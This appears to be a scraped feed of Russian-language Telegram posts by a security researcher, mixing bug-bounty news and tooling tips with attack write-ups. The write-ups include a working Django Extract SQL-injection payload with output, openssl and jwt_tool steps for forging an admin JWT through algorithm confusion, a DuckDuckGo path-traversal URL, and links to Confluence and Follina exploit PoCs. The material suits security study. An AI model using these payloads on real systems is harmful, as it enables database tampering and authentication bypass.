сформировавшийся SQL запрос для функции Extract(lookup_name): SELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", EXTRACT('EXPLOIT' FROM "testapp_test"."date") AS "start_year" FROM "testapp_test" Уязвимый код: Test.objects.annotate(start_year=Extract('date', lookup_name='EXPLOIT')) Пример эксплойта: data = Test.objects.annotate(start_year=Extract('date', lookup_name="year' from \"testapp_test\".\"date\") from \"testapp_test\"; insert into \"testapp_test\"(id, username, date) values (1337, 'test', LOCALTIMESTAMP) -- ")) Результат: id | username | date ------+----------+------------ 1 | test | 2022-07-06 3 | test | 2022-07-06 2 | test | 2022-07-06 1337 | test | 2022-07-06


0
582

root@rivens.life

На гите есть тулза для обхода 403, специфичная для томката: https://github.com/iamj0ker/bypass-403. В какие то моменты я прибегал к ее использованию, но оказалось что какой-то энтузиаст написал полноценный скрипт на питоне, который включает в себя функционал 403bypass и добавляет поверх еще кучу всего: https://github.com/laluka/bypass-url-parser


0
409

root@rivens.life

Меня можно поздравить 🥳 Не так давно защитил диплом и вот сегодня, наконец таки, получил его на руки *Продается место для шутки о подставке под кофе*


0
358

root@rivens.life

🐞Добро пожаловать в «Клуб неанонимных багхантеров»! Мы собираем свою тусовку с докладами и обсуждением насущных вопросов о bug bounty! Первая порция приглашений уже улетела в почту тем, кто зарегистрировался на нашей платформе. Мы говорили внимательнее следить за почтой :) Если вам интересен поиск уязвимостей, в эту пятницу ждем вас на нашем митапе. Когда: 1 июля, в 18:00 (мск) Где: Конференц-зал BI.ZONE, Москва Формат: только хардкор офлайн! Как стать участником нашего клуба и попасть на встречу: — Зарегистрируйтесь как багхантер на сайте BI.ZONE — Забронируйте билет на митап через TimePad Количество мест ограничено!


0
364

root@rivens.life

​Java PRNG - RandomStringUtils - Exploitation Доклад может быть найден тут, ознакомиться с содержимым доклада в формате pdf можно по следующей ссылке: https://github.com/alex91ar/randomstringutils/blob/master/The%20Java%20soothsayer.pdf. В этом же репозитории находится тулза для эксплуатации RandomStringUtils.


0
454

root@rivens.life

В duckduckgo нашли прикол: https://duckduckgo.com/?kad=../../../../../../../../../../usr/share/doc/openssh-client/faq#3.0 Читать можно исключительно файлы с расширением .html. Баг или фича?


0
475

root@rivens.life

https://habr.com/ru/post/671088/


0
546

root@rivens.life

Как я был удивлен когда узнал о том, что у майкрософта есть неплохие мануалы (или курсы, называйте как хотите) для начинающих по data science, machine learning и даже по Web Dev! Web dev - https://github.com/microsoft/Web-Dev-For-Beginners DS - https://github.com/microsoft/Data-Science-For-Beginners ML - https://github.com/microsoft/ML-For-Beginners


0
596

root@rivens.life

Привет. https://github.com/jbaines-r7/through_the_wire - PoC на свежий нолик в atlassian confluence - OGNL Injection -> RCE без аутентификации. Патч: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html Если не хотите переходить на какую-либо версию, можно пойти следующими путями: 1. Фильтровать конструкции вида ${} (не всегда помогает, так как уже есть некоторые WAF bypass методы, известные со старых инцидентов) 2. Удалить файл atlassian-confluence-<version>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar. Вместо него можно использовать файл xwork-1.0.3-atlassian-10.jar. Его можно получить из новых, запатченных версий. Проверить свой сервис можно с помощью логов: /opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log


0
521

root@rivens.life

​MS-MSDT Office RCE MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters). The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros). PoC: https://github.com/JohnHammond/msdt-follina https://github.com/chvancooten/follina.py Demo Follina with Cobalt Strike: https://www.youtube.com/watch?v=oM4GHtVvv1c For BlueTeam: https://gist.github.com/kevthehermit/5c8d52af388989cfa0ea38feace977f2 #office #rce #msmsdt #nomacro


0
439

root@rivens.life

​Выделил для себя топ интересных докладов с PHD, с которыми советую ознакомиться: 1. Поставить или положить. Атаки на цепочки поставок - Рассказывается о том, что делать если получили креды от непривилегированной учетки для GitLab, но при этом настроен CI/CD пайплайн и используется TeamCity для сборки и дальнейшего получения артефактов. 2. Обход сигнатурного WAF - Рассказывается о том, как можно расщеплять нагрузку чтоб не стриггерить правила для WAF. Мельком затрагиваются методы машинного обучения для обнаружения вторжений. 3. Охотимся за современными атаками на инфраструктуру Active Directory - Коллеги подробно рассказывают об атаках на A/D инфраструктуру. 4. Domain admin blitzkrieg - fast RedTeam - рассказывается об интересном подходе для быстрого получения максимальной выгоды за ночь.


0
556

root@rivens.life

Интересный доклад про планировщик задач в Golang https://www.youtube.com/watch?v=rloqQY9CT8I


0
513

root@rivens.life

​Сейчас я переехал на Мак на чипе m1 и решил с ITerm переехать на Alacritty, который, якобы, быстрее работает в плане GPU rendering'a. Могу сказать одно - это было крайне больно. Начать стоит с моего сетапа: 1. alacritty - openGL terminal emulator;<br/>2. zsh - shell <br/>3. oh my zsh - framework for managing Zsh configuration. <br/>4. tmux - multiplexer <br/>5. neovim - vim with plugins <br/><br/> Для начала стоит поговорить о конфиге: alacritty необходимо скормить файл конфигурации в формате YAML. Любая ошибка в синтаксисе и alacritty дропается, оставляя в закромах логи о том, что же пошло не так. Сразу советую использовать все debug фишки, поставляемые alacritty. Они позволяют дебажить конфигурацию на лету. Самая большая проблема - использование шелла в купе с мультиплексором - tmux. Во всех примерах конфигурация выглядит следующим образом: tmux attach || tmux - если сессия запущена, то стараемся использовать ее. В ином случае создаем новую сессию мультиплексора. И все бы ничего, но в этом виде alacritty закрывалась сразу после открытия, если использовать команду open Alacritty.app. Но если запускать бинарь напрямую - все работает хорошо. Открывать эмулятор из другого эмулятора не круто. Было найдено решение: source ~/.zshrc; tmux attach 2> /dev/null || tmux . Проблема с запуском решена, но появилась новая - автодополнение, которое делается с помощью oh-my-zsh плагина окрашивается мультиплексором. Фикс с описанием проблемы. Проблемы с шеллом решены, можно идти дальше. Мультиплексор - это страшно. Проблема заключается в том, что неймспейсы команд отличаются от версии к версии и версия для GNU работает не так, как версия для OsX. Пример рабочего конфига. По образу и подобию можно скрафтить свой конфиг и наконец запустить эмулятор, используя все технологии, описанные выше. Но вот незадача - alacritty просит доступ ко всем директориям после закрытия эмулятора. Тут описано почему так происходит. Для решений этой проблемы необходимо выпустить сертификат. Либо заверенный by Apple (что сделать невозможно, так как я не являюсь доверенным разработчиком), или выпустить self signed сертификат и переподписать им. После того, как бинарь был переподписан - были сохранены все доступы, выдаваемые системой. Уф.


0
472

root@rivens.life

​Когда-то давно, когда только начинал решать CTF, читал об уязвимостях в процессах авторизации и аутентификации средстами JWT токенов. До недавнего времени, в практических целях, мне это нигде не пригодилось. До недавнего времени... Хороший пост ха Хабре (на удивление), в котором рассказывается о том, как ручками скрафтить HMAC сигнатуру и подменить алгоритм подписи. Вкратце - если на сервере присутствует возможность "выбора" алгоритма подписи, как показано ниже: jwt.verify(token, public_key, { algorithms: ['RS256', 'HS256']})); То сервер уязвим к атаке под названием Signature stripping. Алгоритм RS256 базируется на ассиметричной криптографии, поэтому JWT подписывается приватным ключом и проверяется с помощью публичного ключа. The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication. Алгоритм HS256 базируется на симметричной криптографии, поэтому JWT подписывается с использованием секретного ключа и проверяется с помощью него же. Когда сервер ждет ассиметричный метод в JWT, но атакующий меняет его на симметричный, то вместо секретного HMAC ключа будет использован публичный ключ, который должен был быть использован для ассиметричного алгоритма. Данный ключ может быть получен, к примеру, из сертификата сайта, следующим образом: 1. openssl s_client -connect <hostname>:443 | grep certificate - Получаем Server certificate 2. openssl x509 -in cert.pem -pubkey –noout > key.pem - экспортируем публичный ключ 3. cat key.pem | xxd -p | tr -d "\\n" >> result_key.txt - получаем hex 4. echo -n <jwt> | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat result_key.txt) - HMAC сигнатура Все это можно делать с помощью jwt_tool. Так куда проще: 1. openssl x509 -in cert.pem -pubkey -noout > key.pem 2. python3 jwt_tool.py <JWT TOKEN> -S hs256 -k key.pem - получаем переподписанный jwt токен 3. python3 jwt_tool.py <JWT TOKEN> -S hs256 -k key.pem -I -pc name -pv admin <br/> - заменяем значения по ключу в переподписанном токене


0
426

Добавить

КаналСтикеры

Наши Боты

@telestormauthbot

© Telestorm.ru 2020-2024 Все права защищены

TwitterYouTubeInstagram